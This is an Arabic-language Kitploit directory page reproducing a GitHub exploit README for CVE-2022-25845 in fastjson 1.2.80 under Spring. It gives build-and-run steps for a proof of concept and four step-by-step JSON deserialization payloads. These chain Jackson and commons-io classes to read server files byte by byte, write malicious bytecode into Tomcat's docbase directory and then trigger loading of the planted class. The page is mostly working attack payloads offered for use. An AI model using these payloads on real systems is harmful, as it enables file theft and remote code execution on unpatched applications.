Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-25845-In-Spring — استغلال CVE-2022-25845 (fastjson 1.2.80) لبيئات Spring مع PoC خطوة بخطوة، وقراءة الملفات، وكتابة ملفات عشوائية عبر سلاسل إلغاء التسلسل Jackson/commons-io. | Kitploit
أدوات/GitHubGitHub/luelueking/cve-2022-25845-in-spring
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولات
GitHubluelueking/cve-2022-25845-in-spring

CVE-2022-25845-In-Spring

استغلال CVE-2022-25845 (fastjson 1.2.80) لبيئات Spring مع PoC خطوة بخطوة، وقراءة الملفات، وكتابة ملفات عشوائية عبر سلاسل إلغاء التسلسل Jackson/commons-io.

عرض المستودع
1081314منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-25845-In-Spring

التبعيات الرئيسية

  1. jackson
  2. commons-io

إعادة الإنتاج السريع

  1. استيراد المشروع في idea وتنفيذ البناء mvn install
  2. بناء Dockerfile وتشغيله docker build .
  3. شغّل src/test/java/POC.java لتنفيذ الأمر touch /tmp/pwned

تعليمات الاستغلال

الخطوة 1: إضافة java.io.InputStream إلى ذاكرة التخزين المؤقت لـ autotype في fastjson

{
  "a": "{    \"@type\": \"java.lang.Exception\",    \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\",    \"p\": {    }  }",
  "b": {
    "$ref": "$.a.a"
  },
  "c": "{  \"@type\": \"com.fasterxml.jackson.core.JsonParser\",  \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\",  \"in\": {}}",
  "d": {
    "$ref": "$.c.c"
  }
}

截屏2024-11-07 21.36.27

الخطوة 2: قراءة محتويات /tmp عبر بروتوكول file للحصول على اسم ملف docbase الخاص بـ tomcat

قراءة المحتوى بايتًا ببايت

{
  "a": {
    "@type": "java.io.InputStream",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "jdk.nashorn.api.scripting.URLReader",
          "url": "${file}"
        },
        "charsetName": "UTF-8",
        "bufferSize": "1024"
      },
      "boms": [
        {
          "charsetName": "UTF-8",
          "bytes": ${data}
        }
      ]
    },
    "boms": [
      {
        "charsetName": "UTF-8",
        "bytes": [1]
      }
    ]
  },
  "b": {"$ref":"$.a.delegate"}
}

截屏2024-11-07 21.35.56

الخطوة 3: كتابة الكود البايتي الخبيث إلى دليل docbase

{
  "a": {
    "@type": "java.io.InputStream",
    "@type": "org.apache.commons.io.input.AutoCloseInputStream",
    "in": {
      "@type": "org.apache.commons.io.input.TeeInputStream",
      "input": {
        "@type": "org.apache.commons.io.input.CharSequenceInputStream",
        "cs": {
          "@type": "java.lang.String"
          "${shellcode}",
          "charset": "iso-8859-1",
          "bufferSize": ${size}
        },
        "branch": {
          "@type": "org.apache.commons.io.output.WriterOutputStream",
          "writer": {
            "@type": "org.apache.commons.io.output.LockableFileWriter",
            "file": "${file2write}",
            "charset": "iso-8859-1",
            "append": true
          },
          "charset": "iso-8859-1",
          "bufferSize": 1024,
          "writeImmediately": true
        },
        "closeBranch": true
      }
    },
    "b": {
      "@type": "java.io.InputStream",
      "@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": {
        "@type": "org.apache.commons.io.input.XmlStreamReader",
        "inputStream": {
          "$ref": "$.a"
        },
        "httpContentType": "text/xml",
        "lenient": false,
        "defaultEncoding": "iso-8859-1"
      },
      "charsetName": "iso-8859-1",
      "bufferSize": 1024
    },
    "c": {}
  }

截屏2024-11-07 21.37.04

الخطوة 4: تحفيز تحميل الفئة الخبيثة

{
  "@type":"java.lang.Exception",
  "@type":"com.chenzai.HackException"
}

截屏2024-11-07 21.35.32

المراجع/الشكر

  • GeekCon 2024
  • jsjcw
تنزيل الأداة